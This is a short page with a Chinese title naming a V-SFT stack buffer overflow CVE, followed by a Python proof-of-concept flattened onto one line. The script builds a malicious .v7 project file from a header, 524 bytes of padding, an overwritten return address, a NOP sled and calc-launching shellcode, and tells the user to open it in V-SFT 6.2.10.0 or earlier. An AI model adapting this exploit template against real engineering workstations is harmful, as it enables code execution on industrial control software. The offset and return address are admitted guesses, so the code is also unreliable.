CVE-2026-32928 V-SFT栈缓冲区溢出漏洞

import struct # Proof of Concept for CVE-2026-32928 # This script creates a malicious V7 file to trigger the stack overflow. def generate_malicious_v7(filename): # V7 File Header Structure (Simplified for demonstration) header = b"V7\x00" + b"\x00" * 20 # Vulnerability trigger in VS6ComFile!CSaveData::_conv_AnimationItem # We need to overflow the stack buffer. # Payload structure: [Junk to offset] + [Return Address] + [Shellcode/NOPs] # Offset based on typical stack layout (requires debugging to be precise) offset = 524 junk = b"A" * offset # Return Address: Hypothetical address to redirect execution (e.g., JMP ESP) # 0x7C874413 is a common address in older Windows kernels (example only) ret_addr = struct.pack("<I", 0x7C874413) # NOP sled and Shellcode (calculators) nop_sled = b"\x90" * 32 # Shellcode example: WinExec("calc.exe", 0) shellcode = b"\x31\xC9\x51\x68\x63\x61\x6C\x63\x54\xB8\xC7\x93\xC2\x77\xFF\xD0\xCC" payload = header + junk + ret_addr + nop_sled + shellcode with open(filename, "wb") as f: f.write(payload) print(f"[+] Malicious file generated: {filename}") print("[*] Open this file with V-SFT <= 6.2.10.0 to trigger the vulnerability.") if __name__ == "__main__": generate_malicious_v7("exploit.v7")